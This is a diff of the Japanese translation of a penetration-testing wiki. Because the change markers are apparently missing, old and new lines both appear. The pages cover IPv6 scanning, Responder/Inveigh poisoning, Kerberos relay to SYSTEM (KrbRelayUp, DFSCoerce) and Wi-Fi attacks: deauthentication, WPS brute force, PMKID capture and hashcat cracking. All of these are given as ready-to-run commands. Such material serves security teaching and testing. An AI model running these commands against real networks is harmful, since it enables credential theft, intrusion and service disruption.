curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) 管理シェルがラッパーtcpdumpを介してパケットキャプチャツールを提供する場合、追加のtcpdumpフラグ`-G/-W/-z`など)を渡すことを可能にする引数/ファイル名のインジェクションを確認し、ポストローテートコマンドの実行を達成します。参照してください:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
防御/メモ:
- 管理をゲスト/パブリックブリッジにバインドしないでくださいSSIDブリッジにIPv6ファイアウォールを適用します。
- 可能な場合、ゲストセグメントでNDP/RS/RAのレート制限とフィルタリングを行います。
- 到達可能でなければならないサービスについては、authN/MFAと強力なレート制限を強制します。
## 参考文献
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
@ -304,5 +350,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,28 +9,28 @@
- **LLMNR、NBT-NS、およびmDNS**:
- Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。
- これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。
- [Responder](https://github.com/lgandx/Responder)は、これらのプロトコルを照会るホストに対して偽の応答を送信することでサービスを偽装するために使用できます。
- [Responder](https://github.com/lgandx/Responder)は、これらのプロトコルを照会しているホストに対して偽の応答を送信することでサービスを偽装するために使用できます。
- Responderを使用したサービスの偽装に関する詳細情報は[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)で確認できます。
### ウェブプロキシ自動検出プロトコル (WPAD)
- WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。
- 発見はDHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。
- 発見はDHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。
- ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。
### プロトコルポイズニングのためのResponder
- **Responder**は、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。
- Kali Linuxにプリインストールされており、`/etc/responder/Responder.conf`で設定可能です。
- Responderはキャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。
- Responderはキャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。
- IPv4およびIPv6の両方をサポートしています。
- Windows版のResponderは[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。
#### Responderの実行
- デフォルト設定でResponderを実行するには: `responder -I <Interface>`
- より攻撃的なプロービングを行うには(潜在的な副作用あり): `responder -I <Interface> -P -r -v`
- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にするための技術: `responder -I <Interface> --lm --disable-ess`
- より攻撃的なプロービングを行うには(副作用の可能性あり): `responder -I <Interface> -P -r -v`
- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にする技術: `responder -I <Interface> --lm --disable-ess`
- WPADの偽装を有効にするには: `responder -I <Interface> --wpad`
- NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには: `responder.py -I <interface> -Pv`
@ -39,7 +39,7 @@
- DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。
- これは、ターゲットネットワークの構成に関する正確な知識を必要とします。
- 攻撃を実行するには: `./Responder.py -I eth0 -Pdv`
- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの中断を避けるために慎重な取り扱いが必要です。
- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの混乱を避けるために慎重な取り扱いが必要です。
### Responderを使用した資格情報のキャプチャ
@ -50,7 +50,7 @@
## Inveigh
Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチームのツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)および[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で確認できます。
Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム向けのツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)および[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で確認できます。
InveighはPowerShellを通じて操作できます:
```bash
@ -109,7 +109,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
### NTLMログインの強制
Windowsでは、**特権アカウントが任意のマシンに認証するよう強制できる場合があります**。方法を学ぶには、以下のページを参照してください:
Windowsでは、**特権アカウントが任意のマシンに認証するよう強制できる場合があります**。方法を学ぶには、以下のページを読んでください:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
@ -117,9 +117,9 @@ Windowsでは、**特権アカウントが任意のマシンに認証するよ
## Kerberosリレー攻撃
**Kerberosリレー攻撃**は、あるサービスから**AP-REQチケット**を盗み、**同じコンピュータアカウントキー**を共有するのサービスに再利用します両方のSPNが同じ`$`マシンアカウントに存在するため。これは、SPNの**サービスクラスが異なっていても**機能します(例:`CIFS/``LDAP/`。なぜなら、チケットを復号化するための*キー*はマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列は署名の一部ではないからです。
**Kerberosリレー攻撃**は、1つのサービスから**AP-REQチケット**を盗み、**同じコンピュータアカウントキー**を共有する2つ目のサービスに再利用します両方のSPNが同じ`$`マシンアカウントに存在するため。これは、SPNの**サービスクラスが異なっていても**(例:`CIFS/``LDAP/`)、チケットを復号化するための*キー*がマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列が署名の一部ではないため機能します。
NTLMリレーとは異なり、ホップは*同じホスト*に制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、**リソースベースの制約付き委任RBCD**や**AD CS登録**にチェーン接続し、**NT AUTHORITY\SYSTEM**を一度で取得できます。
NTLMリレーとは異なり、ホップは*同じホスト*に制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、**リソースベースの制約付き委任RBCD**または**AD CS登録**にチェーンし、1回の操作で**NT AUTHORITY\SYSTEM**を取得できます。
この攻撃に関する詳細情報は以下を確認してください:
@ -131,8 +131,8 @@ NTLMリレーとは異なり、ホップは*同じホスト*に制限されま
| トークン | 目的 | リレーの関連性 |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | KDCに対するユーザーの証明 | 影響なし |
| **サービスチケット / TGS-REQ ↔ REP** | つの**SPN**にバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 |
| **AP-REQ** | クライアントがサービスに`TGS`を送信 | **私たちが盗むもの & 再生するもの** |
| **サービスチケット / TGS-REQ ↔ REP** | 1つの**SPN**にバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 |
| **AP-REQ** | クライアントがサービスに`TGS`を送信 | **私たちが盗んで再生するもの** |
* チケットは**SPNを所有するアカウントのパスワード由来のキー**で暗号化されています。
* AP-REQ内の**Authenticator**には5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。
@ -140,11 +140,11 @@ NTLMリレーとは異なり、ホップは*同じホスト*に制限されま
- 2. **Kerberosをリレーするために必要な条件**
1. **共有キー:** ソースとターゲットのSPNが同じコンピュータアカウントに属していWindowsサーバーではデフォルト
1. **共有キー:** ソースとターゲットのSPNは同じコンピュータアカウントに属すWindowsサーバーではデフォルト
2. **チャネル保護なし:** SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。
3. **認証を傍受または強制できる:** LLMNR/NBNSポイズン、DNSスプーフ、**PetitPotam / DFSCoerce RPC**、偽のAuthIP、悪意のあるDCOMなど。
4. **チケットソースがすでに使用されていない:** 実際のパケットが到達する前にレースに勝つか、完全にブロックする必要があります。そうでない場合、サーバーの再生キャッシュがイベント4649を発火します。
5. 何らかの方法で**通信のMitMを実行できる必要があります**。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。
4. **チケットソースがすでに使用されていない:** 実際のパケットが到達する前にレースに勝つか、完全にブロックする。そうでなければ、サーバーの再生キャッシュがイベント4649を発火させます。
5. 何らかの方法で**通信のMitMを実行できる必要があ**。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。
### Kerberosリレー手順
@ -162,9 +162,9 @@ Select Name,servicePrincipalName
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp`は**KrbRelay → LDAP → RBCD → Rubeus → SCMバイパス**を1つのバイナリにまとめています。
`KrbRelayUp` **KrbRelay → LDAP → RBCD → Rubeus → SCM バイパス** を1つのバイナリにまとめています。
- 3.3 **Kerberos認証を強制する**
- 3.3 **Kerberos 認証を強制する**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
@ -187,7 +187,7 @@ SCMUACBypass.exe
### **知っておくべきその他のパス**
| ベクター | トリック | 重要 |
| ベクター | トリック | 重要な理由 |
|--------|-------|----------------|
| **AuthIP / IPSec** | 偽のサーバーが任意のSPNを持つ**GSS-IDペイロード**を送信; クライアントはあなたに直接AP-REQを構築 | サブネットを越えても機能; デフォルトでマシンクレデンシャル |
| **DCOM / MSRPC** | 悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる | 純粋な*ローカル*特権昇格; ファイアウォールを回避 |
@ -199,8 +199,8 @@ SCMUACBypass.exe
| エラー | 意味 | 修正 |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | チケットキー ≠ ターゲットキー | ホスト/SPNが間違っている |
| `KRB_AP_ERR_SKEW` | 時計が5分以上のオフセット | 時間を同期するか`w32tm`を使用 |
| LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか署名を無効にする |
| `KRB_AP_ERR_SKEW` | 時計が5分以上のオフセット | 時間を同期するか`w32tm`を使用 |
| LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか署名を無効にする |
| イベント4649のスパム | サービスが重複した認証子を検出 | 元のパケットをブロックまたは競争 |
### **検出**
@ -212,7 +212,7 @@ SCMUACBypass.exe
## **ハードニング**
1. **すべてのサーバーでLDAPおよびSMB署名 + EPAを強制**
1. すべてのサーバーで**LDAP & SMB署名 + EPA**を強制する
2. **SPNを分割**し、HTTPがCIFS/LDAPと同じアカウントにないようにする。
3. 強制ベクターをパッチPetitPotam KB5005413、DFS、AuthIP
4. **`ms-DS-MachineAccountQuota = 0`**を設定して不正なコンピュータの参加を防ぐ。

View File

@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Android内部Wi-Fi)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@ -30,7 +31,7 @@ enable-nexmon-monitor-and-injection-on-android.md
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### エアゲドン
### Airgeddon
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
@ -51,7 +52,7 @@ v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
Evil Twin、KARMA、既知ビーコン攻撃を実行し、フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
Evil Twin、KARMA、および既知ビーコン攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -68,7 +69,7 @@ sudo python setup.py install # Install any dependencies
- WPSの場合Pixie dust攻撃とブルートフォース攻撃ブルートフォース攻撃は時間がかかる可能性があるため注意してください。ヌルPINやデータベース/生成されたPINを試みないことに注意してください。
- APからPMKIDをキャプチャしてクラックを試みる
- APのクライアントを非認証にしてハンドシェイクをキャプチャする
- PMKIDまたはハンドシェイクがある場合、上位5000のパスワードを使用してブルートフォースを試みる。
- PMKIDまたはハンドシェイクがあれば、上位5000のパスワードを使用してブルートフォースを試みる。
## 攻撃の概要
@ -89,7 +90,7 @@ sudo python setup.py install # Install any dependencies
- **ブルートフォース** 認証情報
- **イービルツイン**DoSの有無にかかわらず
- **オープン** イービルツイン \[+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
- **WPA-PSK** イービルツイン -- パスワードを知っている場合、ネットワーク攻撃に便利
- **WPA-PSK** イービルツイン -- パスワードを知っていればネットワーク攻撃に便利
- **WPA-MGT** -- 会社の認証情報をキャプチャするのに便利
- **KARMA, MANA**, **Loud MANA**, **Known beacon**
- **+ オープン** -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
@ -101,7 +102,7 @@ sudo python setup.py install # Install any dependencies
**説明は** [**こちら**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**ネットワークからデバイスを強制的に切断**します。これらの暗号化されていないパケットは、クライアントに正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**デバイスをネットワークから強制的に切断**します。これらの暗号化されていないパケットは、クライアントに正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
**Aireplay-ngを使用した非認証**
```
@ -115,7 +116,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### 切断パケット
**切断パケット**は、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイスートパソコンやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APは**ネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ードの切断が必要となります**
**切断パケット**は、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイスートパソコンやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APは**ネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ードの切断が必要となります**
**この攻撃はmdk4モード"d")で実行できます:**
```bash
@ -130,9 +131,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**ここに** [**あります**](https://en.kali.tools/?p=864)**.**
**攻撃モード b: ビーコントラフィックの洪水**
**攻撃モード b: ビーコンドフラッディング**
クライアントに偽のAPを表示するためにビーコントラフィックを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
クライアントに偽のAPを表示するためにビーコントフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -156,7 +157,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
**ATTACK MODE m: Michael Countermeasures Exploitation**
異なるQoSキューにランダムまたは重複したパケットを送信することで、**TKIP APs**上でマイケル対策がトリガーされ、APが1分間シャットダウンします。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
ランダムまたは重複したパケットを異なるQoSキューに送信することで、**TKIP APs**上でマイケル対策をトリガーし、1分間のAPシャットダウンを引き起こすことができます。この方法は効率的な**DoS**(サービス拒否)攻撃戦術です。
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -175,14 +176,14 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
**ATTACK MODE w: WIDS 混乱**
クライアントを複数の WDS ノードや偽のロゲ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱やシステムの悪用の可能性を生み出すことができます。
クライアントを複数の WDS ノードや偽の悪意のある AP にクロス接続することで、侵入検知および防止システムを操作し、混乱やシステムの悪用の可能性を生み出すことができます。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**ATTACK MODE f: Packet Fuzzer**
パケット操作のための多様なパケットソースと包括的な修飾子セットを備えたパケットファズァ。
多様なパケットソースとパケット操作のための包括的な修飾子を備えたパケットファズァ。
### **Airggedon**
@ -192,7 +193,7 @@ _**Airgeddon**_ は、前のコメントで提案されたほとんどの攻撃
## WPS
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。容易に侵害されるWEPセキュリティには効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000通り)ため、ブルートフォース攻撃に対して脆弱です。
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000の可能性)ため、ブルートフォース攻撃に対して脆弱です。
### WPS Bruteforce
@ -201,9 +202,9 @@ WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプ
- **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。
- **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のReaverコードに対していくつかの利点があります依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃的なMACアドレスを**ブロックする**などのブルートフォース攻撃に対する防御は、攻撃を続けるために**MACアドレスのローテーション**を要求します。
この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の数字の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃を防ぐためのブルートフォース攻撃に対する防御策、例えば**攻撃者のMACアドレスをブロックする**ことは、攻撃を続けるために**MACアドレスのローテーション**を要求します。
BullyやReaverのようなツールWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、**持続的なネットワークアクセス**を確保します。
BullyやReaverのようなツールを使用してWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、**持続的なネットワークアクセス**を確保します。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -217,7 +218,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
### WPSピクシーダスト攻撃
**ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイントAPの欠陥を発見しました。これらは**ノンス****E-S1**および**E-S2**として知られています。これらのンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽のロゲAPではないことを証明するために、特別なコードハッシュ内にPINを公開します。これらのンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として機能します。これに関する詳細は[こちら](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)で確認できます。
**ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイントAPの欠陥を発見しました。これらは**ノンス****E-S1**および**E-S2**として知られています。これらのンスが特定できれば、APのWPS PINを解読するのは簡単になります。APは、正当であり偽のロゲAPではないことを証明するために、特別なコードハッシュ内にPINを公開します。これらのンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として機能します。これに関する詳細は[こちら](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)で確認できます。
簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用していなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じますオフラインブルートフォース攻撃
```bash
@ -260,15 +261,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID
2018年、**hashcat**は[新しい攻撃方法](https://hashcat.net/forum/thread-7717.html)を明らかにしました。この方法は、**1つのパケット**だけを必要とし、ターゲットAPにクライアントが接続されている必要がないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。
2018年、**hashcat**は[新しい攻撃方法](https://hashcat.net/forum/thread-7717.html)を明らかにしました。この方法は、**1つのパケット**だけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。
多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに`Robust Security Network`として知られる**オプションフィールド**を追加します。これには`PMKID`が含まれます。
多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに**オプションのフィールド**を追加します。これを`Robust Security Network`と呼びます。これには`PMKID`が含まれます。
元の投稿が説明るように、**PMKID**は既知のデータを使用して作成されます:
元の投稿が説明しているように、**PMKID**は既知のデータを使用して作成されます:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
"PMK Name"が一定であることから、APのBSSIDとステーションのBSSIDが分かり、`PMK`が完全な4-way handshakeのものと同一であるため、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復できます!
"PMK Name"が一定であること、APとステーションのBSSIDがわかっており、`PMK`が完全な4-wayハンドシェイクのものと同一であることから、**hashcat**はこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます!
この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには、次のようにします:
```bash
@ -282,14 +283,14 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
キャプチャされた **PMKIDs****コンソール** に表示され、また **/tmp/attack.pcap** に **保存** されます。\
次に、キャプチャを **hashcat/john** 形式に変換しクラックします:
キャプチャされた **PMKIDs****コンソール** に表示され、また **/tmp/attack.pcap** に保存されます。\
次に、キャプチャを **hashcat/john** 形式に変換しクラックします:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが無効でした
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのハッシュが**3つの部分**しか含まない場合、それは**無効**ですPMKIDキャプチャが無効でした
`hcxdumptool`は**ハンドシェイクもキャプチャ**します(このようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。あなたは`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。
```bash
@ -306,11 +307,11 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
**WPA/WPA2** ネットワークへの攻撃は、**ハンドシェイク**をキャプチャし、パスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスは、特定のネットワークと**BSSID**の通信を監視することを含みます。以下は簡潔なガイドです:
1. 対象ネットワークの**BSSID**、**チャネル**、および**接続されたクライアント**を特定します。
2. `airodump-ng`を使用して、指定されたチャネルとBSSIDのネットワークトラフィックを監視し、ハンドシェイクをキャプチャすることを期待します。コマンドは次のようになります:
2. 指定されたチャネルとBSSIDでネットワークトラフィックを監視するために`airodump-ng`を使用し、ハンドシェイクをキャプチャすることを期待します。コマンドは次のようになります:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. ハンドシェイクをキャプチャする確率を高めるために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
3. ハンドシェイクをキャプチャするチャンスを増やすために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
@ -320,7 +321,7 @@ _クライアントが非認証状態になったため、別のAPに接続し
![](<../../images/image (172) (1).png>)
ハンドシェイクがキャプチャされたら、`aircrack-ng`**クラック**できます:
ハンドシェイクがキャプチャされたら、`aircrack-ng`を使って**クラック**できます:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
@ -347,7 +348,7 @@ pyrit -r psk-01.cap analyze
```
## **WPAエンタープライズ (MGT)**
**エンタープライズWiFiセットアップでは、さまざまな認証方法に出会います**。それぞれ異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のものが含まれます:
**エンタープライズWiFiセットアップでは、さまざまな認証方法に出会います**。各方法は異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のようなものがあります:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
@ -358,11 +359,11 @@ pyrit -r psk-01.cap analyze
3. **EAP-TLS (Transport Layer Security)**:
- 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザー基盤およびセッション基盤のWEPキーを動的に生成できます。
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
- 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみを必要とし、クライアントは資格情報を使用します。
- 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみが必要で、クライアントは資格情報を使用します。
5. **PEAP (Protected Extensible Authentication Protocol)**:
- 保護された通信のためにTLSトンネルを作成することでEAPと同様に機能します。トンネルによって提供される保護のため、EAPの上に弱い認証プロトコルを使用することができます。
- **PEAP-MSCHAPv2**: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護されたTLSトンネルを組み合わせています。
- **PEAP-EAP-TLS (または PEAP-TLS)**: EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
- **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
これらの認証方法についての詳細は[こちら](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で確認できます。
@ -370,8 +371,8 @@ pyrit -r psk-01.cap analyze
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**は**サポートされている**必要があり、**ユーザー名**は**"Response Identity"**メッセージで**クリア**で送信されることがわかります。
